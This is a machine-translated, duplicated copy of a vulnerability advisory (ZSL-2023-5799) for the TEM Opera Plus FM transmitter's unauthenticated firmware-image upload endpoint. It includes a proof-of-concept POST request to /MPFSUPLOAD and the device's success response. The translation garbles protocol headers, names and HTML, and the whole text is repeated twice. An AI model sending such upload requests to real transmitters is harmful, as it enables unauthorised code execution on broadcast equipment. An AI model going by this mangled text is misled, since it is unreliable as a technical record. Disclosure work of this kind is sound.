TEM Opera Plus FM家庭发射器35.45远程代码执行
Vendor: Telecomunicazioni Elettro Milano（TEM）S.R.L.
产品网页: https://www.tem-titery.it
受影响的版本:软件版本: 35.45
WebServer版本: 1.7
summary:这条新系列Opera Plus FM发射机非常结合
紧凑的高效，高可靠性和低能消耗
解决方案。它们具有可以消除的创新功能和功能
其他设备所需的成本:自动交换音频
来源，内置立体声编码器，集成的RDS编码器，并行I/O
卡，通过GSM遥测和/或TCP IP/SNMP/SMTP的连接性
Web服务器。
DESC:该设备允许访问未受保护的端点，该端点允许
MPFS文件系统二进制图像上传无身份验证。 MPFS2
文件系统模块提供了一个仅重量读取文件系统
可以存储在外部EEPROM，外部串行闪光灯或内部
闪存程序内存。该文件系统是
HTTP2 Web服务器模块，但也由SNMP模块使用，IS
可用于其他需要基本仅阅读存储的应用程序
功能。这可以利用以覆盖闪存程序
保存Web服务器的主要接口并执行任意的内存
代码。
在: Web服务器上进行了测试
gjoko“ liquidworm” krstic发现的脆弱性
@Zeroscience
咨询ID: ZSL-2023-5799
咨询URL: https://www.zeroscience.mk/en/vulnerabilities/zsl-2023-5799.php
18.08.2023
- -
POST /MPFSUPLOAD HTTP /1.1
HOST: 192.168.1.2:8000
内容长度: 251
cache-control: max-age=0
content-type:多部分/form-data;边界=---- joxypoxy2
用户代理: MPFS2_POC/2.0C
ACCEPT: /
Accept-incoding: Gzip，放气
Accept-Language: en-us，en; q=0.9
连接:关闭
------- joxypoxy2
content-disposition: form-data;名称='i';文件名='mpfsimg2.bin'
content-type:应用程序/钟表流
MPFS . CGI二进制电话家
----- joxypoxy2--
http/1.1 200好
连接:关闭
content-type:文本/html
htmlbody style='Margin:100px'BMPFS更新成功/bpa href='/'站点主页/a/a/hod/html
Vendor: Telecomunicazioni Elettro Milano（TEM）S.R.L.
产品网页: https://www.tem-titery.it
受影响的版本:软件版本: 35.45
WebServer版本: 1.7
summary:这条新系列Opera Plus FM发射机非常结合
紧凑的高效，高可靠性和低能消耗
解决方案。它们具有可以消除的创新功能和功能
其他设备所需的成本:自动交换音频
来源，内置立体声编码器，集成的RDS编码器，并行I/O
卡，通过GSM遥测和/或TCP IP/SNMP/SMTP的连接性
Web服务器。
DESC:该设备允许访问未受保护的端点，该端点允许
MPFS文件系统二进制图像上传无身份验证。 MPFS2
文件系统模块提供了一个仅重量读取文件系统
可以存储在外部EEPROM，外部串行闪光灯或内部
闪存程序内存。该文件系统是
HTTP2 Web服务器模块，但也由SNMP模块使用，IS
可用于其他需要基本仅阅读存储的应用程序
功能。这可以利用以覆盖闪存程序
保存Web服务器的主要接口并执行任意的内存
代码。
在: Web服务器上进行了测试
gjoko“ liquidworm” krstic发现的脆弱性
@Zeroscience
咨询ID: ZSL-2023-5799
咨询URL: https://www.zeroscience.mk/en/vulnerabilities/zsl-2023-5799.php
18.08.2023
- -
POST /MPFSUPLOAD HTTP /1.1
HOST: 192.168.1.2:8000
内容长度: 251
cache-control: max-age=0
content-type:多部分/form-data;边界=---- joxypoxy2
用户代理: MPFS2_POC/2.0C
ACCEPT: /
Accept-incoding: Gzip，放气
Accept-Language: en-us，en; q=0.9
连接:关闭
------- joxypoxy2
content-disposition: form-data;名称='i';文件名='mpfsimg2.bin'
content-type:应用程序/钟表流
MPFS . CGI二进制电话家
----- joxypoxy2--
http/1.1 200好
连接:关闭
content-type:文本/html
htmlbody style='Margin:100px'BMPFS更新成功/bpa href='/'站点主页/a/a/hod/html